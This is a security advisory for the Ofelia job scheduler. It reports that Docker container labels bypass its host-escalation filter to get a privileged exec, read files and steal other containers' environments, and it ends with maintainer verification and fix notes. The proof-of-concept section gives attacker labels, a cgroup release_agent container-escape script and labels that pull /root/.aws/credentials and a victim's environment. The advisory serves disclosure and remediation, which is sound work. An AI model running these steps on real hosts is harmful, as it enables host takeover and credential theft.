Privilege-bearing fields honored from container labels bypass the host-escalation filter → privileged exec, host-file read, cross-container secret theft
How this was found
Found during an AI-assisted security review of the repository. The analysis was performed by Claude (Anthropic's Claude Code) driven interactively by the reporter; findings were then manually verified against the source.
Method:
- Static source analysis only — no live exploitation, no fuzzing, no dynamic instrumentation. The repo was reviewed at
main @ 633f695.
- The attack surface was decomposed and reviewed in parallel across four areas: web server + auth, job execution + Docker socket, config/label parsing + remote presets, and web UI + webhooks.
- These findings came from tracing the untrusted-label data flow end to end: Docker container labels → job decoding in
cli/docker-labels.go → core/execjob.go / core/runjob.go / core/runservice.go → the Docker exec/run adapters.
What surfaced it:
- The guard
filterJobsWithHostEscalation (added in #462 to strip host-escalation vectors from label-defined jobs) is wired only to job-run / job-service-run at cli/docker-labels.go:146-147 — job-exec is never passed through it — and even for the two job types it does cover, it strips only volume / volumes-from, not privileged / env-file / env-from.
privileged is a recognized job-exec config key (asserted by the project's own test cli/config_decode_servicerun_test.go:54) and flows unmodified into docker exec --privileged (core/execjob.go:33 → :112 → core/adapters/docker/exec.go:82).
env-file / env-from are accepted label keys (cli/docker-labels.go:612) present on job-run, job-service-run, and job-exec, and are honored regardless of source.
- The gaps were independently reached by two separate analysis passes (the job-execution review and the config/label review), then confirmed by directly reading the filter's call sites and the field flows.
Verification status:
- Code paths and line references were confirmed by reading the current source.
- The proofs-of-concept below are constructed from source analysis and have not been executed against a live Docker host — they are presented as logically-derived exploits, not observed ones. Reproduction on a test daemon is recommended to confirm before disclosure.
Severity
High–Critical, precondition-gated. All three vectors share one precondition: Ofelia running in Docker-label mode on a daemon that hosts untrusted, self-labeling containers. That is it — a local attacker needs only label control on their own container, no Ofelia credentials, no host mount, no operator misconfiguration.
Critically, this precondition does not include the operator having enabled allow-host-jobs-from-labels. That flag gates only the wholesale drop of job-local/job-compose and the volume/volumes-from filter for job-run/job-service-run (cli/docker-labels.go:121). job-exec is decoded outside that block entirely, and the flag never touches privileged/env-file/env-from for any job type. All three vectors therefore fire in the default, secure-looking configuration (flag off) — the secure-by-default posture that stops host mounts does nothing here.
privileged exec → container escape is the most severe. It is not an unconditional 9.9: it also requires a container/kernel config on which a privileged exec can complete a known escape (see Impact). On a typical multi-tenant daemon that holds, putting it in the high-8s / low-9s CVSS range rather than a turnkey 9.9.
env-file (file read within Ofelia's filesystem view) and env-from (cross-container secret theft) are High: reliable information disclosure across the container boundary with no additional kernel precondition. env-file reads Ofelia's own mount namespace, not the literal host root — its blast radius equals the full host filesystem only when Ofelia runs bare-metal or with / (or sensitive host paths) bind-mounted; in the canonical containerized deployment it is bounded to Ofelia's mounts and injected config.
Summary
Ofelia builds jobs from Docker container labels on scanned containers. The filterJobsWithHostEscalation guard that strips privilege-escalation vectors from label-defined jobs (a) is applied only to job-run and job-service-run, never to job-exec, and (b) strips only host bind-mounts (volume) and volumes-from — it does not touch privileged, env-file, or env-from. As a result a container can, purely by setting labels on itself:
- run a privileged
docker exec (privileged=true on job-exec) → root on the Docker host;
- read any file in Ofelia's filesystem view into a container it controls (
env-file=/path);
- steal another container's entire environment (
env-from=["victim"]).
Impact
1. privileged=true on job-exec → container escape
docker exec --privileged grants the exec'd process all Linux capabilities (including CAP_SYS_ADMIN) and unconfines seccomp/AppArmor, even when the target container was started unprivileged. It does not change the container's namespaces or add --pid=host — the exec process stays in the container's own PID/mount/network namespaces. What the granted capabilities enable is the standard set of privileged-container escape techniques:
- cgroup
release_agent abuse (mount a cgroupfs hierarchy, write release_agent, trigger host-side command execution);
mknod the host block device + mount + chroot into the host filesystem;
- write
/proc/sys/kernel/core_pattern when /proc is writable.
Escape availability therefore depends on the container's device cgroup, /proc mount options, and kernel — it is available, not automatic. On typical multi-tenant container configs at least one of these techniques succeeds, giving root on the Docker host. This bypasses the exact threat model that allow-host-jobs-from-labels and filterJobsWithHostEscalation were built to defend (see #462).
Note: RunJob / RunServiceJob do not expose a Privileged field, so this escape is job-exec-specific; the container-spawn job types cannot request --privileged from labels.
2. env-file=<path> → file disclosure within Ofelia's filesystem view
env-file is honored on job-run, job-service-run, and job-exec. ParseEnvFile (core/envfile.go:29-30, os.Open(path) with #nosec G304) opens the path in Ofelia's own mount namespace and turns each KEY=VALUE line into an environment variable injected into the job's container/exec — which for a label-defined job-exec is the attacker's own container.
Scope note: because os.Open resolves inside Ofelia's process, the reachable filesystem is Ofelia's view, not the literal host root. In the canonical deployment (Ofelia itself a container with docker.sock mounted), env-file=/root/.aws/credentials reads that path inside the Ofelia container — so the vector exfiltrates any secret visible to Ofelia: its bind-mounts, its injected config/INI, mounted credential files, docker.sock-adjacent material. It reaches the full host filesystem only when Ofelia runs bare-metal or with / (or the targeted host paths) bind-mounted. Either way it is a real boundary crossing: an attacker container reads files it otherwise has no access to. Impact is bounded by the KEY=VALUE line parser (lines without = are dropped), so structured secret files leak cleanly while e.g. /etc/shadow mostly does not.
3. env-from=["victim"] → cross-container secret theft
ResolveEnvFrom (core/envfile.go:88-102) inspects any container by name and returns its entire Config.Env. A malicious labeled container sets ofelia.job-run.x.env-from=["victim-container"], and the victim's environment (DB passwords, API tokens, cloud credentials) is injected into the attacker-controlled spawned container. Cross-tenant secret disclosure with no host access required.
Root cause
The escalation filter is wired to only two job types — cli/docker-labels.go:146-147:
runJobs = filterJobsWithHostEscalation(runJobs, "job-run", c.logger)
serviceJobs = filterJobsWithHostEscalation(serviceJobs, "job-service-run", c.logger)
job-exec jobs are decoded and never filtered at all. And filterJobsWithHostEscalation itself inspects only job["volume"] and job["volumes-from"] (cli/docker-labels.go:713), so privileged / env-file / env-from pass through even on the two job types it does process.
privileged is a recognized job-exec config key (cli/config_decode_servicerun_test.go:54) and flows unmodified to the daemon:
core/execjob.go:33 — Privileged bool field, settable from labels
core/execjob.go:112 — copied into domain.ExecConfig.Privileged
core/adapters/docker/exec.go:82 — set on ExecCreateOptions.Privileged → docker exec --privileged
The label string privileged=true reaches the Privileged bool field via mapstructure's weakly-typed decode (weakDecodeConsistent, cli/config_decode.go:63 with WeaklyTypedInput: true), which coerces the "true" string to boolean true — no explicit privileged handling or allow-list gate sits between the label and the field.
env-file / env-from are accepted at cli/docker-labels.go:612 and consumed via ResolveJobEnvironment on every job type (core/execjob.go:97, core/runjob.go:312, core/runservice.go:149), with no source-aware gating.
Proof of concept
Privileged exec → host escape
On a host where Ofelia scans containers, an unprivileged attacker sets these labels on their own container:
ofelia.enabled=true
ofelia.job-exec.x.schedule=@every 1s
ofelia.job-exec.x.command=/bin/sh -c "<escape-payload>"
ofelia.job-exec.x.privileged=true
Ofelia creates a privileged exec into the attacker's container on the next tick. <escape-payload> must use the granted capabilities — not nsenter --target 1, which enters the container's own init (PID 1 in the container PID namespace), not the host's. A working payload uses one of the escape techniques listed under Impact, e.g. the cgroup release_agent trick:
mkdir -p /tmp/c && mount -t cgroup -o rdma cgroup /tmp/c
mkdir -p /tmp/c/x && echo 1 > /tmp/c/x/notify_on_release
host=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo "$host/cmd" > /tmp/c/release_agent
printf '#!/bin/sh\nid > %s/out\n' "$host" > /cmd && chmod +x /cmd
sh -c "echo 0 > /tmp/c/x/cgroup.procs"
Whether this exact technique fires depends on the container's /proc, device cgroup, and kernel — swap in mknod-the-host-disk or core_pattern if the cgroup path is unavailable. The point stands: privileged=true from a label is what makes any of them reachable.
Host-file read / cross-container secret theft (no kernel precondition)
ofelia.enabled=true
ofelia.job-exec.leak.schedule=@every 1s
ofelia.job-exec.leak.command=env
ofelia.job-exec.leak.env-file=/root/.aws/credentials # any file in Ofelia's filesystem view (its mounts/config)
# or, to steal a sibling container's environment:
ofelia.job-run.leak2.env-from=["victim-container"]
ofelia.job-run.leak2.command=env
Ofelia reads the host file / victim environment and injects it into the attacker-controlled container; the env command prints it into the job's captured output.
Affected
- Package:
github.com/netresearch/ofelia (Go)
- Component:
cli/docker-labels.go, core/execjob.go, core/runjob.go, core/runservice.go, core/envfile.go
- Affected versions:
<= 0.29.0 (latest release, 2026-08-03) and current unreleased main (confirmed on main @ 633f695, 2026-08-04). No patched version at time of report.
- Per-vector introduction:
privileged-exec (vector 1): since 0.21.3 (2026-03-15) — job-exec has never been routed through any host-escalation filter.
env-file / env-from (vectors 2 and 3): since 0.23.0 (2026-03-22), when env-file/env-from support was added for all job types.
- Precondition: Ofelia running in Docker-label mode against a daemon that hosts untrusted, self-labeling containers. Independent of
allow-host-jobs-from-labels — the vectors fire with that flag in its default (off) state.
Suggested fix
Treat privileged, env-file, and env-from on label-sourced jobs as host-escalation vectors, exactly like host mounts:
- Cover
job-exec. It skips filterJobsWithHostEscalation entirely today. Route it (and any other unfiltered job type) through source-aware filtering.
- Strip the keys, don't drop the job. For a label-sourced job, remove
privileged, env-file, and env-from from the decoded map (leaving the job to run unprivileged / without host env) rather than discarding the whole definition.
- Extend the filter's key set.
filterJobsWithHostEscalation currently inspects only volume / volumes-from. Add privileged (exec), env-file, and env-from so the two job types it already processes are also covered — env-file / env-from leak on job-run / job-service-run today despite those jobs passing through the filter.
- Gate on the existing policy. Strip these keys from any label-sourced job unless
[global] allow-host-jobs-from-labels=true is explicitly set, logging the same SECURITY POLICY VIOLATION line already used for host mounts.
- Optionally, INI-only. Restricting
privileged (and env-file / env-from) to INI config never honored from labels is stronger, but makes them ignore allow-host-jobs-from-labels; the gated approach in (4) is more consistent with the rest of the filter.
References
- Existing guard:
filterJobsWithHostEscalation (cli/docker-labels.go:713)
- Related hardening: #462
- Field flows:
core/execjob.go:30-33,97,112; core/runjob.go:54-55,312; core/runservice.go:47-48,149; core/envfile.go:29-30,88-102
Maintainer verification and remediation (2026-08-12)
Confirmed against main @ 633f695 by re-reading the cited source and by an independent multi-agent source review; every claim in this report holds. Two points to add:
- Both label-ingestion entry points are affected, not just the initial load. Job maps are built by
buildFromDockerContainers (cli/docker-labels.go), which is called from the initial daemon load (cli/config.go → mergeJobsFromDockerContainers) and from the live container-reconcile loop (cli/config.go → syncJobMap(c, c.ExecJobs, parsedLabelConfig.ExecJobs, …)). Neither path stripped privileged / env-file / env-from, so the bypass fires on the first sync and on every subsequent reconcile as containers come and go.
job-exec is decoded unconditionally. The if !AllowHostJobsFromLabels block only zeroes job-local / job-compose and volume-filters job-run / job-service-run; execJobs is decoded afterwards regardless of the flag, and job-exec is explicitly permitted on the attacker's own non-service running container (checkJobTypeAllowedOnServiceContainer). core.ExecJob has no volume field, so privileged / env-file / env-from are its only escalation vectors — covering those three closes job-exec completely.
Remediation. A source-aware strip of privileged / env-file / env-from from every label-sourced job map, matched by normalized key (so casing/separator variants such as Privileged or ENV_FILE are caught, since the decoder matches fields the same way), gated on allow-host-jobs-from-labels, and logged as SECURITY POLICY VIOLATION. It is applied inside buildFromDockerContainers, so both entry points are covered in one place, and the INI configuration path (trusted) is untouched. Keys are stripped in place — the job still runs, unprivileged and without host / cross-container environment injection — rather than dropping the whole job. Reproducing tests assert each vector is neutralised with the flag off and honored with it on.
CVSS:3.1 AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H (7.8, High) scores the worst path — the config-gated privileged-exec container escape; AC:H reflects that the escape itself depends on the target container's cgroup / /proc / kernel configuration (available, not automatic), as the report notes. The env-file / env-from disclosure vectors are AC:L but lower impact (C:H/I:N/A:N).
Scope of this advisory
This is a gap in a defense-in-depth control for the Docker-container-label vector, not a break of ofelia's primary trust boundary. Per the project's ADR-002 (Accepted), that boundary is who may set ofelia's configuration and container labels — anyone who can define a job already has docker run / docker exec equivalence, and container privileges, host mounts and network isolation are explicitly delegated to the deployment infrastructure. ofelia does not claim multi-tenant isolation for untrusted, self-labeling containers; the documented pattern for that is a separate ofelia instance per tenant. The allow-host-jobs-from-labels filter narrows the specific label→host / label→cross-container path, and this advisory closes the gaps in that filter (job-exec was unfiltered; privileged/env-file/env-from were honored on every job type). It does not extend ofelia's guarantees beyond that filter — notably, label-defined network attachment (network=) is by design left to the infrastructure and is not affected by this fix.
Privilege-bearing fields honored from container labels bypass the host-escalation filter → privileged exec, host-file read, cross-container secret theft
How this was found
Found during an AI-assisted security review of the repository. The analysis was performed by Claude (Anthropic's Claude Code) driven interactively by the reporter; findings were then manually verified against the source.
Method:
main@633f695.cli/docker-labels.go→core/execjob.go/core/runjob.go/core/runservice.go→ the Docker exec/run adapters.What surfaced it:
filterJobsWithHostEscalation(added in #462 to strip host-escalation vectors from label-defined jobs) is wired only tojob-run/job-service-runatcli/docker-labels.go:146-147—job-execis never passed through it — and even for the two job types it does cover, it strips onlyvolume/volumes-from, notprivileged/env-file/env-from.privilegedis a recognizedjob-execconfig key (asserted by the project's own testcli/config_decode_servicerun_test.go:54) and flows unmodified intodocker exec --privileged(core/execjob.go:33→:112→core/adapters/docker/exec.go:82).env-file/env-fromare accepted label keys (cli/docker-labels.go:612) present onjob-run,job-service-run, andjob-exec, and are honored regardless of source.Verification status:
Severity
High–Critical, precondition-gated. All three vectors share one precondition: Ofelia running in Docker-label mode on a daemon that hosts untrusted, self-labeling containers. That is it — a local attacker needs only label control on their own container, no Ofelia credentials, no host mount, no operator misconfiguration.
Critically, this precondition does not include the operator having enabled
allow-host-jobs-from-labels. That flag gates only the wholesale drop ofjob-local/job-composeand thevolume/volumes-fromfilter forjob-run/job-service-run(cli/docker-labels.go:121).job-execis decoded outside that block entirely, and the flag never touchesprivileged/env-file/env-fromfor any job type. All three vectors therefore fire in the default, secure-looking configuration (flag off) — the secure-by-default posture that stops host mounts does nothing here.privilegedexec → container escape is the most severe. It is not an unconditional 9.9: it also requires a container/kernel config on which a privileged exec can complete a known escape (see Impact). On a typical multi-tenant daemon that holds, putting it in the high-8s / low-9s CVSS range rather than a turnkey 9.9.env-file(file read within Ofelia's filesystem view) andenv-from(cross-container secret theft) are High: reliable information disclosure across the container boundary with no additional kernel precondition.env-filereads Ofelia's own mount namespace, not the literal host root — its blast radius equals the full host filesystem only when Ofelia runs bare-metal or with/(or sensitive host paths) bind-mounted; in the canonical containerized deployment it is bounded to Ofelia's mounts and injected config.Summary
Ofelia builds jobs from Docker container labels on scanned containers. The
filterJobsWithHostEscalationguard that strips privilege-escalation vectors from label-defined jobs (a) is applied only tojob-runandjob-service-run, never tojob-exec, and (b) strips only host bind-mounts (volume) andvolumes-from— it does not touchprivileged,env-file, orenv-from. As a result a container can, purely by setting labels on itself:docker exec(privileged=trueonjob-exec) → root on the Docker host;env-file=/path);env-from=["victim"]).Impact
1.
privileged=trueonjob-exec→ container escapedocker exec --privilegedgrants the exec'd process all Linux capabilities (includingCAP_SYS_ADMIN) and unconfines seccomp/AppArmor, even when the target container was started unprivileged. It does not change the container's namespaces or add--pid=host— the exec process stays in the container's own PID/mount/network namespaces. What the granted capabilities enable is the standard set of privileged-container escape techniques:release_agentabuse (mount a cgroupfs hierarchy, writerelease_agent, trigger host-side command execution);mknodthe host block device +mount+chrootinto the host filesystem;/proc/sys/kernel/core_patternwhen/procis writable.Escape availability therefore depends on the container's device cgroup,
/procmount options, and kernel — it is available, not automatic. On typical multi-tenant container configs at least one of these techniques succeeds, giving root on the Docker host. This bypasses the exact threat model thatallow-host-jobs-from-labelsandfilterJobsWithHostEscalationwere built to defend (see #462).Note:
RunJob/RunServiceJobdo not expose aPrivilegedfield, so this escape isjob-exec-specific; the container-spawn job types cannot request--privilegedfrom labels.2.
env-file=<path>→ file disclosure within Ofelia's filesystem viewenv-fileis honored onjob-run,job-service-run, andjob-exec.ParseEnvFile(core/envfile.go:29-30,os.Open(path)with#nosec G304) opens the path in Ofelia's own mount namespace and turns eachKEY=VALUEline into an environment variable injected into the job's container/exec — which for a label-definedjob-execis the attacker's own container.Scope note: because
os.Openresolves inside Ofelia's process, the reachable filesystem is Ofelia's view, not the literal host root. In the canonical deployment (Ofelia itself a container withdocker.sockmounted),env-file=/root/.aws/credentialsreads that path inside the Ofelia container — so the vector exfiltrates any secret visible to Ofelia: its bind-mounts, its injected config/INI, mounted credential files,docker.sock-adjacent material. It reaches the full host filesystem only when Ofelia runs bare-metal or with/(or the targeted host paths) bind-mounted. Either way it is a real boundary crossing: an attacker container reads files it otherwise has no access to. Impact is bounded by theKEY=VALUEline parser (lines without=are dropped), so structured secret files leak cleanly while e.g./etc/shadowmostly does not.3.
env-from=["victim"]→ cross-container secret theftResolveEnvFrom(core/envfile.go:88-102) inspects any container by name and returns its entireConfig.Env. A malicious labeled container setsofelia.job-run.x.env-from=["victim-container"], and the victim's environment (DB passwords, API tokens, cloud credentials) is injected into the attacker-controlled spawned container. Cross-tenant secret disclosure with no host access required.Root cause
The escalation filter is wired to only two job types —
cli/docker-labels.go:146-147:job-execjobs are decoded and never filtered at all. AndfilterJobsWithHostEscalationitself inspects onlyjob["volume"]andjob["volumes-from"](cli/docker-labels.go:713), soprivileged/env-file/env-frompass through even on the two job types it does process.privilegedis a recognizedjob-execconfig key (cli/config_decode_servicerun_test.go:54) and flows unmodified to the daemon:core/execjob.go:33—Privileged boolfield, settable from labelscore/execjob.go:112— copied intodomain.ExecConfig.Privilegedcore/adapters/docker/exec.go:82— set onExecCreateOptions.Privileged→docker exec --privilegedThe label string
privileged=truereaches thePrivileged boolfield via mapstructure's weakly-typed decode (weakDecodeConsistent,cli/config_decode.go:63withWeaklyTypedInput: true), which coerces the"true"string to booleantrue— no explicitprivilegedhandling or allow-list gate sits between the label and the field.env-file/env-fromare accepted atcli/docker-labels.go:612and consumed viaResolveJobEnvironmenton every job type (core/execjob.go:97,core/runjob.go:312,core/runservice.go:149), with no source-aware gating.Proof of concept
Privileged exec → host escape
On a host where Ofelia scans containers, an unprivileged attacker sets these labels on their own container:
Ofelia creates a privileged exec into the attacker's container on the next tick.
<escape-payload>must use the granted capabilities — notnsenter --target 1, which enters the container's own init (PID 1 in the container PID namespace), not the host's. A working payload uses one of the escape techniques listed under Impact, e.g. the cgrouprelease_agenttrick:Whether this exact technique fires depends on the container's
/proc, device cgroup, and kernel — swap inmknod-the-host-disk orcore_patternif the cgroup path is unavailable. The point stands:privileged=truefrom a label is what makes any of them reachable.Host-file read / cross-container secret theft (no kernel precondition)
Ofelia reads the host file / victim environment and injects it into the attacker-controlled container; the
envcommand prints it into the job's captured output.Affected
github.com/netresearch/ofelia(Go)cli/docker-labels.go,core/execjob.go,core/runjob.go,core/runservice.go,core/envfile.go<= 0.29.0(latest release, 2026-08-03) and current unreleasedmain(confirmed onmain@633f695, 2026-08-04). No patched version at time of report.privileged-exec (vector 1): since 0.21.3 (2026-03-15) —job-exechas never been routed through any host-escalation filter.env-file/env-from(vectors 2 and 3): since 0.23.0 (2026-03-22), when env-file/env-from support was added for all job types.allow-host-jobs-from-labels— the vectors fire with that flag in its default (off) state.Suggested fix
Treat
privileged,env-file, andenv-fromon label-sourced jobs as host-escalation vectors, exactly like host mounts:job-exec. It skipsfilterJobsWithHostEscalationentirely today. Route it (and any other unfiltered job type) through source-aware filtering.privileged,env-file, andenv-fromfrom the decoded map (leaving the job to run unprivileged / without host env) rather than discarding the whole definition.filterJobsWithHostEscalationcurrently inspects onlyvolume/volumes-from. Addprivileged(exec),env-file, andenv-fromso the two job types it already processes are also covered —env-file/env-fromleak onjob-run/job-service-runtoday despite those jobs passing through the filter.[global] allow-host-jobs-from-labels=trueis explicitly set, logging the sameSECURITY POLICY VIOLATIONline already used for host mounts.privileged(andenv-file/env-from) to INI config never honored from labels is stronger, but makes them ignoreallow-host-jobs-from-labels; the gated approach in (4) is more consistent with the rest of the filter.References
filterJobsWithHostEscalation(cli/docker-labels.go:713)core/execjob.go:30-33,97,112;core/runjob.go:54-55,312;core/runservice.go:47-48,149;core/envfile.go:29-30,88-102Maintainer verification and remediation (2026-08-12)
Confirmed against
main @ 633f695by re-reading the cited source and by an independent multi-agent source review; every claim in this report holds. Two points to add:buildFromDockerContainers(cli/docker-labels.go), which is called from the initial daemon load (cli/config.go→mergeJobsFromDockerContainers) and from the live container-reconcile loop (cli/config.go→syncJobMap(c, c.ExecJobs, parsedLabelConfig.ExecJobs, …)). Neither path strippedprivileged/env-file/env-from, so the bypass fires on the first sync and on every subsequent reconcile as containers come and go.job-execis decoded unconditionally. Theif !AllowHostJobsFromLabelsblock only zeroesjob-local/job-composeand volume-filtersjob-run/job-service-run;execJobsis decoded afterwards regardless of the flag, andjob-execis explicitly permitted on the attacker's own non-service running container (checkJobTypeAllowedOnServiceContainer).core.ExecJobhas no volume field, soprivileged/env-file/env-fromare its only escalation vectors — covering those three closesjob-execcompletely.Remediation. A source-aware strip of
privileged/env-file/env-fromfrom every label-sourced job map, matched by normalized key (so casing/separator variants such asPrivilegedorENV_FILEare caught, since the decoder matches fields the same way), gated onallow-host-jobs-from-labels, and logged asSECURITY POLICY VIOLATION. It is applied insidebuildFromDockerContainers, so both entry points are covered in one place, and the INI configuration path (trusted) is untouched. Keys are stripped in place — the job still runs, unprivileged and without host / cross-container environment injection — rather than dropping the whole job. Reproducing tests assert each vector is neutralised with the flag off and honored with it on.CVSS:3.1
AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H(7.8, High) scores the worst path — the config-gated privileged-exec container escape;AC:Hreflects that the escape itself depends on the target container's cgroup //proc/ kernel configuration (available, not automatic), as the report notes. Theenv-file/env-fromdisclosure vectors areAC:Lbut lower impact (C:H/I:N/A:N).Scope of this advisory
This is a gap in a defense-in-depth control for the Docker-container-label vector, not a break of ofelia's primary trust boundary. Per the project's ADR-002 (Accepted), that boundary is who may set ofelia's configuration and container labels — anyone who can define a job already has
docker run/docker execequivalence, and container privileges, host mounts and network isolation are explicitly delegated to the deployment infrastructure. ofelia does not claim multi-tenant isolation for untrusted, self-labeling containers; the documented pattern for that is a separate ofelia instance per tenant. Theallow-host-jobs-from-labelsfilter narrows the specific label→host / label→cross-container path, and this advisory closes the gaps in that filter (job-exec was unfiltered;privileged/env-file/env-fromwere honored on every job type). It does not extend ofelia's guarantees beyond that filter — notably, label-defined network attachment (network=) is by design left to the infrastructure and is not affected by this fix.